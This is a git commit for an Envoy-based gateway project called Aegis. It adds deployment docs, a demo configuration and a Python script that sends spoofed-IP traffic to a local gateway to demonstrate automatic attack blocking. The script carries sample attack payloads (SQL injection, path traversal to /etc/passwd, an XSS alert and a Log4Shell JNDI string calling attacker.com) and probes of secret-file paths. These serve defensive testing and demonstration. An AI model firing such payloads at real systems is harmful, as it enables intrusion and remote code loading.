docs: add detailed README in scripts folder explaining the demo traffic generator architecture

This commit is contained in:
Jerry Xie
2026-05-19 20:43:56 +00:00
parent 2cf9c94699
commit 8ec1e4bc2a
8 changed files with 390 additions and 8 deletions
+42 -1
View File
@@ -34,7 +34,7 @@ curl -O https://raw.githubusercontent.com/axieyangb/aegis/main/docker-compose.ym
mkdir envoy
curl -o envoy/envoy.yaml https://raw.githubusercontent.com/axieyangb/aegis/main/envoy/envoy.yaml
# Download baseline database configuration
# Download baseline database configuration (for real production users)
mkdir configs
curl -o configs/starter.json https://raw.githubusercontent.com/axieyangb/aegis/main/configs/starter.json
```
@@ -54,6 +54,35 @@ docker compose up -d
* Upload the `configs/starter.json` file you downloaded.
* You should see the `http_listener` and `https_listener` appear, and the xDS sync status turn green!
---
## Simulating Traffic & Live Demo
If you are running Aegis locally without real traffic, you can use our built-in **Traffic Demo Generator** script. We provide a pre-configured **`configs/demo.json`** database baseline that has the **PROXY Protocol enabled out-of-the-box** so you can run the demo with zero manual setup!
### 1. Start the Gateway & Import Demo Configuration
1. Ensure your containers are running (`docker compose up -d`).
2. Open the Aegis Dashboard (`http://localhost:8765`).
3. Go to the **Gateway** page, click the **Import** button (top right), and upload **`configs/demo.json`** (instead of `starter.json`).
* *(Optional: If you downloaded the quick-start files via curl, you can download the demo config using: `curl -o configs/demo.json https://raw.githubusercontent.com/axieyangb/aegis/main/configs/demo.json`)*
* This automatically configures Envoy's HTTP listener to accept spoofed client IPs via PROXY Protocol.
### 2. Run the Generator
From the repository root, run the self-contained Python script:
```bash
python3 scripts/demo_generator.py
```
### 3. Watch the Dashboard Live!
Open your dashboard and watch:
* **World Traffic Map:** populating with requests flowing in from USA, Japan, Germany, Brazil, and Australia.
* **Charts:** Device breakdowns, User-Agents, and HTTP Status codes filling up dynamically.
* **Scanner Bot:** A simulated bot crawler probing admin endpoints (like `/wp-admin` or `/.env`), raising the anomaly charts.
* **AI Auto-Blocking in Action:** An attacker (`99.99.99.99`) will launch a SQL injection attack. You will see Aegis's AI engine detect it, trigger an alert, and **push a dynamic xDS block rule to Envoy**. Instantly, all subsequent requests from `99.99.99.99` will start failing (dropped connections) on the dashboard!
👉 **For a detailed breakdown of how the generator simulates traffic and auto-blocking under the hood, see the [Traffic Generator Guide](scripts/README.md).**
---
## Features in Action
@@ -137,6 +166,18 @@ Internet ──▶ Envoy Proxy ──▶ Your services
---
## Deployment Options (Exposing Envoy)
Depending on your network environment, Aegis supports three main deployment architectures to expose Envoy to the public internet:
1. **Direct Exposure (Port Forwarding):** Best for environments with a static public IP. WAN ports `80`/`443` are forwarded directly from your home router to the host.
2. **VPS Relay Tunnel (PROXY Protocol):** Recommended for home labs, CGNAT, or privacy. Hides your home IP by tunneling traffic from a public VPS to Envoy, using the PROXY Protocol to safely preserve client IPs.
3. **Cloudflare Tunnel (HTTP Headers):** Best for zero-port-forwarding setups behind Cloudflare. Preserves client IPs by extracting custom Cloudflare HTTP headers.
👉 **See the full [Deployment Architectures Guide](docs/deployment-architectures.md) for detailed diagrams, configuration, and setup instructions.**
---
## Configuration
### Environment variables
+34
View File
@@ -0,0 +1,34 @@
{
"version": 1,
"exported_at": "2026-01-01T00:00:00Z",
"listeners": [
{
"name": "http_listener",
"json_body": "{\"name\": \"http_listener\", \"address\": {\"socketAddress\": {\"address\": \"0.0.0.0\", \"portValue\": 10080}}, \"listenerFilters\": [{\"name\": \"envoy.filters.listener.proxy_protocol\", \"typedConfig\": {\"@type\": \"type.googleapis.com/envoy.extensions.filters.listener.proxy_protocol.v3.ProxyProtocol\"}}], \"filterChains\": [{\"filters\": [{\"name\": \"envoy.filters.network.http_connection_manager\", \"typedConfig\": {\"@type\": \"type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager\", \"statPrefix\": \"ingress_http\", \"routeConfig\": {\"virtualHosts\": [{\"name\": \"redirect_to_https\", \"domains\": [\"*\"], \"routes\": [{\"match\": {\"prefix\": \"/.well-known/acme-challenge\"}, \"route\": {\"cluster\": \"acme-renewer\"}}, {\"match\": {\"prefix\": \"/\"}, \"redirect\": {\"httpsRedirect\": true}}]}]}, \"httpFilters\": [{\"name\": \"envoy.filters.http.router\", \"typedConfig\": {\"@type\": \"type.googleapis.com/envoy.extensions.filters.http.router.v3.Router\"}}]}}]}]}",
"enabled": true,
"updated_at": 0
},
{
"name": "https_listener",
"json_body": "{\"name\": \"https_listener\", \"address\": {\"socketAddress\": {\"address\": \"0.0.0.0\", \"portValue\": 10443}}, \"listenerFilters\": [{\"name\": \"envoy.filters.listener.tls_inspector\", \"typedConfig\": {\"@type\": \"type.googleapis.com/envoy.extensions.filters.listener.tls_inspector.v3.TlsInspector\"}}], \"filterChains\": [{\"filterChainMatch\": {\"serverNames\": [\"app.yourdomain.com\"]}, \"filters\": [{\"name\": \"envoy.filters.network.http_connection_manager\", \"typedConfig\": {\"@type\": \"type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager\", \"statPrefix\": \"ingress_https\", \"routeConfig\": {\"virtualHosts\": [{\"name\": \"app_service\", \"domains\": [\"app.yourdomain.com\"], \"routes\": [{\"match\": {\"prefix\": \"/\"}, \"route\": {\"cluster\": \"my-service\", \"timeout\": \"0s\"}}]}]}, \"httpFilters\": [{\"name\": \"envoy.filters.http.router\", \"typedConfig\": {\"@type\": \"type.googleapis.com/envoy.extensions.filters.http.router.v3.Router\"}}], \"upgradeConfigs\": [{\"upgradeType\": \"websocket\"}]}}], \"transportSocket\": {\"name\": \"envoy.transport_sockets.tls\", \"typedConfig\": {\"@type\": \"type.googleapis.com/envoy.extensions.transport_sockets.tls.v3.DownstreamTlsContext\", \"commonTlsContext\": {\"tlsCertificateSdsSecretConfigs\": [{\"name\": \"app_yourdomain_com\", \"sdsConfig\": {\"apiConfigSource\": {\"apiType\": \"GRPC\", \"transportApiVersion\": \"V3\", \"grpcServices\": [{\"envoyGrpc\": {\"clusterName\": \"xds_cluster\"}}]}, \"resourceApiVersion\": \"V3\"}}]}}}}]}",
"enabled": true,
"updated_at": 0
}
],
"clusters": [
{
"name": "my-service",
"json_body": "{\"name\": \"my-service\", \"type\": \"STATIC\", \"connectTimeout\": \"0.25s\", \"loadAssignment\": {\"clusterName\": \"my-service\", \"endpoints\": [{\"lbEndpoints\": [{\"endpoint\": {\"address\": {\"socketAddress\": {\"address\": \"192.168.1.100\", \"portValue\": 8080}}}}]}]}}",
"enabled": true,
"updated_at": 0
},
{
"name": "acme-renewer",
"json_body": "{\"name\": \"acme-renewer\", \"type\": \"STRICT_DNS\", \"connectTimeout\": \"5s\", \"loadAssignment\": {\"clusterName\": \"acme-renewer\", \"endpoints\": [{\"lbEndpoints\": [{\"endpoint\": {\"address\": {\"socketAddress\": {\"address\": \"aegis-gateway\", \"portValue\": 8765}}}}]}]}}",
"enabled": true,
"updated_at": 0
}
],
"secrets": [],
"extension_configs": []
}
+1 -1
View File
@@ -24,7 +24,7 @@
},
{
"name": "acme-renewer",
"json_body": "{\"name\": \"acme-renewer\", \"type\": \"STRICT_DNS\", \"connectTimeout\": \"5s\", \"loadAssignment\": {\"clusterName\": \"acme-renewer\", \"endpoints\": [{\"lbEndpoints\": [{\"endpoint\": {\"address\": {\"socketAddress\": {\"address\": \"aegis\", \"portValue\": 8765}}}}]}]}}",
"json_body": "{\"name\": \"acme-renewer\", \"type\": \"STRICT_DNS\", \"connectTimeout\": \"5s\", \"loadAssignment\": {\"clusterName\": \"acme-renewer\", \"endpoints\": [{\"lbEndpoints\": [{\"endpoint\": {\"address\": {\"socketAddress\": {\"address\": \"aegis-gateway\", \"portValue\": 8765}}}}]}]}}",
"enabled": true,
"updated_at": 0
}
+5 -5
View File
@@ -1,7 +1,7 @@
services:
aegis:
aegis-gateway:
image: axieyangb/aegis:latest
container_name: aegis
container_name: aegis-gateway
restart: unless-stopped
ports:
- "8765:8765"
@@ -19,10 +19,10 @@ services:
container_name: envoy
restart: unless-stopped
depends_on:
- aegis
- aegis-gateway
ports:
- "80:10080"
- "443:10443"
- "80:10080" # HTTP — listeners in Aegis UI should bind to port 10080
- "443:10443" # HTTPS — listeners in Aegis UI should bind to port 10443
volumes:
- ./envoy/envoy.yaml:/etc/envoy/envoy.yaml:ro
command:
+18
View File
@@ -29,3 +29,21 @@ The `configs/starter.json` is **not** read by Envoy. It is an export of the Aegi
* `my-service` cluster: Placeholder for your actual backend application.
Once imported, Aegis dynamically translates these into Envoy-native config and pushes them to Envoy over the xDS channel.
## Exposing Envoy to Public Traffic (Port Mapping)
To make your gateway accept real public traffic from the internet, you must understand how ports are mapped between your host machine and the Envoy container.
### The Port Flow
```
Internet ──► Host Port 80 ──────(Docker Map)─────► Container Port 10080 (Envoy HTTP Listener)
Internet ──► Host Port 443 ──────(Docker Map)─────► Container Port 10443 (Envoy HTTPS Listener)
```
1. **Docker Port Mapping:** In `docker-compose.yml`, the `envoy` service exposes ports `80` and `443` on the host, mapping them to `10080` and `10443` inside the container respectively.
* This is done because binding to privileged ports (< 1024) directly inside a container is restricted by default for security.
2. **UI Port Binding:** When you create or edit Listeners in the **Aegis UI**, you must bind them to the **container port**, NOT the host port:
* Your HTTP listener (handling redirects and ACME challenge) must bind to **`10080`**.
* Your HTTPS listener (handling secure SSL traffic) must bind to **`10443`**.
3. **Public Access:** Once the containers are running, simply point your domain's DNS `A` or `AAAA` records to your host machine's public IP address. Traffic arriving at port 80/443 will automatically flow through Envoy.
+1 -1
View File
@@ -35,7 +35,7 @@ static_resources:
- endpoint:
address:
socket_address:
address: aegis
address: aegis-gateway
port_value: 18000
admin:
+65
View File
@@ -0,0 +1,65 @@
# Aegis Traffic Demo Generator
This directory contains the **Aegis Traffic Demo Generator** (`demo_generator.py`), a self-contained Python utility designed to simulate realistic, dynamic global traffic to your Envoy gateway.
It is designed to populate the Aegis monitoring dashboard with live metrics, world map indicators, device breakdowns, and to showcase **Aegis's AI Auto-Blocking capabilities** in real-time without requiring real external traffic.
---
## How It Works
The script is completely self-contained and has **zero external dependencies** (it runs using standard Python built-in libraries).
Instead of using high-level HTTP clients which hide connection layers, the generator opens raw TCP connections directly to Envoy (host port `80`/container port `10080`) and injects **PROXY Protocol v1 headers** before sending the HTTP payload.
### The Packet Flow
```
[demo_generator.py]
├─ 1. Open Raw TCP socket to localhost:80 (Envoy:10080)
├─ 2. Prepend: "PROXY TCP4 <random_global_ip> 127.0.0.1 <random_port> 10080\r\n"
└─ 3. Send HTTP payload: "GET /api/v1/products HTTP/1.1\r\nHost: app.yourdomain.com\r\n..."
```
* **World Map Populating (GeoIP Spoofing):** By injecting the PROXY header, Envoy is forced to override the downstream client IP with our fake global IP at the connection layer. This enables MaxMind GeoIP to plot requests from USA, Germany, Japan, Brazil, and Australia on your dashboard map.
* **Realistic UI Metrics:** Randomly cycles through various User-Agents (iPhone Safari, Android Chrome, Desktop Chrome, Googlebot, curl) to populate the device breakdown charts.
---
## The Three Simulated Traffic Scenarios
The script spins up three concurrent, background threads running distinct scenarios to create a realistic traffic profile:
### 1. Legitimate Traffic Loop (🟢 Green Dashboard)
* Simulates normal, global users browsing your site.
* Sends steady requests to healthy endpoints (`/`, `/index.html`, `/api/v1/products`) with random Poisson intervals (0.1s to 0.8s) so the real-time UI graphs look wavy and natural.
### 2. The Vulnerability Scanner Bot (🟡 Yellow Dashboard)
* Simulates a noisy malicious bot crawling your server looking for common administrative vulnerabilities.
* Rapidly probes endpoints like `/wp-admin`, `/phpmyadmin`, `/.env`, and `/secrets.json` from a dedicated German hosting IP.
* Generates `403 Forbidden` and `404 Not Found` status code spikes in the charts.
### 3. The Hacker Attack (🔴 Red Dashboard - AI Auto-Blocking)
* An attacker IP (`99.99.99.99`) launches a web exploit (e.g., SQL Injection, Path Traversal, or Log4Shell).
* **Watch the Dashboard:**
1. Aegis logs the attack via the Access Log Service (ALS).
2. Aegis's AI Threat Engine detects the exploit pattern on `99.99.99.99`.
3. Aegis dynamically **creates a block rule and pushes it to Envoy via xDS**.
4. The script continues to send requests from `99.99.99.99`.
5. **Instant Block Visualized:** You will see the attacker's requests immediately start failing (`connection dropped`) in the dashboard, proving the real-time, reactive protection works!
---
## Prerequisites & Running
1. Ensure your gateway is running:
```bash
docker compose up -d
```
2. Import the **`configs/demo.json`** baseline configuration in your Aegis Dashboard (`http://localhost:8765 -> Gateway -> Import`).
* *Note: Do not use `starter.json` for this test. `demo.json` has the PROXY Protocol filter pre-enabled on Envoy's HTTP listener so it expects and parses the generator's spoofed IP headers.*
3. Run the generator:
```bash
python3 scripts/demo_generator.py
```
4. Open the Aegis dashboard and enjoy the show! Press `Ctrl+C` in your terminal to stop the generator at any time.
+224
View File
@@ -0,0 +1,224 @@
#!/usr/bin/env python3
"""
Aegis Traffic Demo Generator
This script generates realistic, diverse mock traffic to Envoy using the PROXY Protocol.
It populates the Aegis dashboard with a live world map, status charts, device breakdowns,
and simulates a live cyberattack to showcase Aegis's AI Auto-Blocking capabilities.
REQUIREMENT:
Before running this script, you must enable the "Proxy Protocol" listener filter
on your "http_listener" (port 10080) in the Aegis UI:
1. Go to Gateway -> Listeners -> http_listener (edit).
2. Scroll to "Listener Filters" -> Add Filter -> "Proxy Protocol".
3. Save and Sync.
"""
import socket
import random
import time
import threading
import sys
# Target configuration
HOST = "localhost"
PORT = 80 # Mapped to Envoy container port 10080
# Global IP Pool mapped to countries for GeoIP visualization
IP_POOL = {
"US": ["8.8.8.8", "4.2.2.2", "204.13.248.115", "64.233.160.100", "74.125.19.147"],
"DE": ["5.9.84.45", "46.4.82.117", "78.46.84.21", "176.9.84.102"],
"JP": ["210.140.10.20", "117.55.233.201", "122.211.4.5", "202.214.100.6"],
"BR": ["200.147.67.142", "186.192.90.5", "177.126.180.10", "201.55.32.45"],
"CN": ["114.114.114.114", "223.5.5.5", "180.76.76.76", "202.108.22.5"],
"AU": ["1.1.1.1", "101.167.230.45", "139.130.4.5", "203.0.178.10"],
"GB": ["212.58.244.70", "195.92.37.5", "87.242.65.10", "62.253.160.5"],
"CA": ["198.51.100.50", "204.101.200.5", "142.204.1.2"],
"FR": ["80.12.240.15", "194.2.0.20", "91.121.100.45"]
}
ALL_COUNTRIES = list(IP_POOL.keys())
# User Agent Pool (Devices & Browsers)
USER_AGENTS = [
# Desktop Chrome (Windows)
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
# Desktop Safari (Mac)
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15",
# Mobile Safari (iPhone)
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1",
# Mobile Chrome (Android)
"Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36",
# Googlebot
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
# curl
"curl/8.4.0"
]
# Mock Paths
NORMAL_PATHS = [
("/", "GET"),
("/index.html", "GET"),
("/static/css/main.css", "GET"),
("/static/js/bundle.js", "GET"),
("/api/v1/products", "GET"),
("/api/v1/products", "POST"),
("/api/v1/users/profile", "GET"),
("/about", "GET"),
("/contact", "GET"),
]
SCAN_PATHS = [
"/wp-admin",
"/wp-login.php",
"/admin.php",
"/phpmyadmin",
"/.env",
"/config.json",
"/secrets.json",
"/backup.zip",
"/.git/config"
]
EXPLOIT_PAYLOADS = [
("/api/v1/products?category=1'+OR+'1'='1", "GET", "SQL Injection"),
("/api/v1/download?file=../../../../etc/passwd", "GET", "Path Traversal"),
("/api/v1/login", "POST", "Log4Shell", "${jndi:ldap://attacker.com/a}"),
("/api/v1/search?q=<script>alert(1)</script>", "GET", "Cross-Site Scripting (XSS)")
]
ATTACKER_IP = "99.99.99.99" # Custom IP representing the hacker
stop_event = threading.Event()
def send_raw_http(client_ip, path, method="GET", body=None, user_agent=None):
"""Establishes raw TCP connection, prepends PROXY v1 header, and sends HTTP request."""
if not user_agent:
user_agent = random.choice(USER_AGENTS)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2.0)
s.connect((HOST, PORT))
# 1. Generate & Send PROXY Protocol v1 header
# Format: PROXY TCP4 <source-ip> <dest-ip> <source-port> <dest-port>\r\n
src_port = random.randint(1024, 65535)
proxy_header = f"PROXY TCP4 {client_ip} 127.0.0.1 {src_port} 10080\r\n"
s.sendall(proxy_header.encode())
# 2. Format & Send HTTP request
req = f"{method} {path} HTTP/1.1\r\n"
req += f"Host: app.yourdomain.com\r\n"
req += f"User-Agent: {user_agent}\r\n"
req += "Connection: close\r\n"
if body:
req += f"Content-Length: {len(body)}\r\n"
req += "Content-Type: application/json\r\n"
req += f"\r\n{body}"
else:
req += "\r\n"
s.sendall(req.encode())
# We don't strictly need to read the response to trigger Aegis (ALS logs it on connection close),
# but reading a bit ensures Envoy processed it.
_ = s.recv(1024)
s.close()
except Exception:
# Silence connection errors (happens naturally when Aegis blocks an IP and Envoy drops it)
pass
def legitimate_traffic_loop():
"""Simulates a steady flow of normal global users browsing the site."""
print("🟢 Started Legitimate Traffic simulation...")
while not stop_event.is_set():
# Choose a random country and random IP from that country
country = random.choice(ALL_COUNTRIES)
ip = random.choice(IP_POOL[country])
path, method = random.choice(NORMAL_PATHS)
body = '{"query": "test"}' if method == "POST" else None
send_raw_http(ip, path, method, body)
# Poisson-like random interval (0.1s to 0.8s) to make charts organic
time.sleep(random.uniform(0.1, 0.8))
def scanner_bot_loop():
"""Simulates a noisy vulnerability scanner probing admin paths."""
print("🟡 Started Bot Scanner simulation...")
# Assign scanner to a specific IP from Germany
scanner_ip = "46.4.82.117"
while not stop_event.is_set():
path = random.choice(SCAN_PATHS)
# Rapid bursts, then sleeps
for _ in range(random.randint(3, 7)):
if stop_event.is_set():
break
send_raw_http(scanner_ip, path, "GET", user_agent="Mozilla/5.0 Scanner/1.0")
time.sleep(0.05) # Rapid burst
# Wait longer between scans (3s to 8s)
time.sleep(random.uniform(3.0, 8.0))
def attacker_loop():
"""Simulates a severe attack from 99.99.99.99 that triggers AI Auto-Blocking."""
print("🔴 Started Hacker Exploit simulation...")
# Wait a few seconds after starting so the user can see clean dashboard first
time.sleep(8.0)
while not stop_event.is_set():
path, method, attack_type, *body_payload = random.choice(EXPLOIT_PAYLOADS)
body = body_payload[0] if body_payload else None
print(f"🔥 Attacker ({ATTACKER_IP}) launching {attack_type} exploit: {path}...")
# Launch attack request
send_raw_http(ATTACKER_IP, path, method, body, user_agent="curl/attacker-exploit")
# The AI Threat Engine usually takes ~2-5 seconds to detect, notify, and push xDS block
# We wait 5 seconds and then pump more traffic. You will see the requests start to
# FAIL immediately once Aegis applies the block!
time.sleep(5.0)
if __name__ == "__main__":
print("=" * 60)
print(" AEGIS MOCK TRAFFIC GENERATOR")
print("=" * 60)
print("Press Ctrl+C to stop the generator.\n")
# Test target connection
try:
test_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
test_s.settimeout(2.0)
test_s.connect((HOST, PORT))
test_s.close()
except Exception as e:
print(f"❌ Error: Could not connect to Envoy at {HOST}:{PORT}.")
print("Please ensure docker-compose is running and ports are exposed.")
sys.exit(1)
# Start threads
t1 = threading.Thread(target=legitimate_traffic_loop, daemon=True)
t2 = threading.Thread(target=scanner_bot_loop, daemon=True)
t3 = threading.Thread(target=attacker_loop, daemon=True)
t1.start()
t2.start()
t3.start()
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\nStopping mock traffic generator...")
stop_event.set()
t1.join()
t2.join()
t3.join()
print("Traffic generator stopped. Clean exit.")